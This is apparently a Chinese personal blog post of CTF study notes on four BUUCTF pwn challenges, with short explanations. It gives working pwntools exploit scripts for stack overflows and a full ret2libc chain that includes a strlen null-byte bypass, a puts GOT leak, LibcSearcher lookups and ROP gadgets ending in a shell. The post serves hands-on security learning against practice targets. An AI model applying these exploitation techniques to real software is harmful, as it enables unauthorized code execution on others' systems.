0-Preview
简单的就不记笔记了,有新知识点了我再记录。
今天转战 BUU 。
分出了一点时间去准备英语四级,pwn会少一点。
小贴士:有时候不是nc没连上,是连上了没提示而已,他在等你输入指令回显
1-warmup_csaw_2016
栈溢出,秒了
1.2-exp
1 2 3 4 5 6 PYTHON from pwn import * io = remote("node4.buuoj.cn",26546) payload = 'a' * 0x48 + p64(0x40060d) io.sendlineafter(">",payload) io.interactive()
2-ciscn_2019_n_1
这道题本来不打算写的。结果exp写好打不通!
仔细一看,他要求覆盖数值是浮点数,得给他转成十六进制数。
可以直接看他的汇编代码,从里面找到数据直接用。
jnz是跳转判断,所以上一句就是对比的代码。从里面可以找到数据的十六进制。
2.2-exp
1 2 3 4 5 6 PYTHON from pwn import * io = remote("node4.buuoj.cn",29402) payload = 'a' * (0x30 -0x4) + p64(0x41348000) io.sendlineafter("Let's guess the number.\n",payload) io.interactive()
3-pwn1_sctf_2016
这个题也很简单,但是tmd 他用 C++ 写的。
很久很久以前,我C艹的课全部用来学杂项了。导致我现在看不懂这些代码。
逆C++是真的搞人心态。搞半天大概看懂咋回事了,感觉c++伪代码有点像汇编
我们可以构造一个包含大量 “ I ” 的字符串,经过处理后会导致溢出。实现getshell。
需要覆盖的位数为 3C+4,但是最多输入32 个。计算一下,需要 20 个 I。
3.1-exp
1 2 3 4 5 6 PYTHON from pwn import * io = remote("node4.buuoj.cn",25049) payload = "I" * 20 + 'a' * 4 + p32(0x8048F0D) io.sendline(payload) io.interactive()
4-ciscn_2019_c_1
算是个有难度的题目:在 encrypt 函数中存在一个 gets 漏洞、没有system函数以及shell字符串。
首先判断为 ret2libc 类题目。
难受的是,输入的信息会经过加密,导致不能直接写入数据。
就在我在考虑如何逆一下他的加密算法,用来解密payload时候,猛然发现可以用 strlen()函数绕过这个加密。
strlen() 判断字符串长度,识别到 ‘ \0 ’ 就会停止,而不是 ‘ \n ’,可以在字符串中添加截断进行攻击
4.1-思路整理
1、利用 ‘ \0 ’ 绕过加密,实现栈溢出劫持程序
2、这个题没有给libc文件,和之前做的不一样,需要用到 LibcSearcher
1 2 3 4 PYTHON from LibcSearcher import * #第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型 obj = LibcSearcher("fgets", 0X7ff39014bd90)
3、利用 puts 函数泄露 got 表地址,计算出偏移量
4、返回主函数二次溢出,调用system getshell
4.2-misc(实在不知道起啥名就杂项吧
这还是个 Ubuntu18 的程序,调用 system 还需要栈对齐。还需要找个 ret 的地址。
因为x64的调用约定中,大部分情况下默认是16字节对齐的,gcc编译时分配数组是也会进行16字节对齐,但是栈溢出后我们破坏掉了这个对齐,导致了这个错误,解决方法就是多加一条ret,让rsp+8,对齐16字节即可。
这是个 64 位栈溢出,是用寄存器传参的,需要用到 pop edi,还是那句老指令:
1 2 3 4 BASH ROPgadget --binary ./c1 0x0000000000400c83 : pop rdi ; ret 0x00000000004006b9 : ret
4.3-exp
要注意很多细节,我也是写exp的时候总报错,删删改改才搞出来。
1、没有libc文件时用的 LibcSearcher 不能使用 symblos,要用 dump。
2、使用LibcSearcher 查找 sh地址不能用search ,还是用 dump(“str_bin_sh”)
3、几个函数讲解:
1 2 3 4 5 6 CODE io.recvline() #接受一行,通常用来跳过不重要信息 u64(io.recv(7)[:-1].ljust(8,b'\x00')) u64() #u64 -> unsigned 64bit s64 -> signed 64bit recv(numb=字节大小, timeout=default) #接受指定字节数据 ljust(8,b'\x00')) #接受 8 位左对齐的数据,如果不足八位,用 ‘\x00’ 填充到左边
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 PYTHON from pwn import * from LibcSearcher import * context(os='linux',arch='amd64',log_level='debug') elf = ELF("c1") shangu = 1 def main(): if shangu == 1: io = remote("node4.buuoj.cn",25379) else: io = process("c1") pop_edi = 0x400c83 ret = 0x4006b9 puts_got = elf.got["puts"] puts_plt = elf.plt["puts"] fuc_adr = elf.symbols["main"] payload = '\0' + 'a' * 0x57 + p64(pop_edi) + p64(puts_got) + p64(puts_plt) + p64(fuc_adr) io.sendlineafter("Input your choice!\n","1") io.sendlineafter("Input your Plaintext to be encrypted\n",payload) io.recvuntil('Ciphertext\n') io.recvline() puts_adr = u64(io.recv(7)[:-1].ljust(8,b'\x00')) print(hex(puts_adr)) # io.interactive() libc = LibcSearcher("puts",puts_adr) iv = puts_adr - libc.dump("puts") sys_adr = libc.dump("system") + iv shell_adr = libc.dump("str_bin_sh") + iv payload1 = '\0' + 'a' * 0x57 + p64(ret) + p64(pop_edi) + p64(shell_adr) + p64(sys_adr) io.sendlineafter("Input your choice!\n","1") io.sendlineafter("Input your Plaintext to be encrypted\n",payload1) io.interactive() main()
5-如何让自己看起来很黑阔
我刚刚无意间发现除了pip安装轮子和dir以外,开很多窗口也很黑阔。
6-老传统-壁纸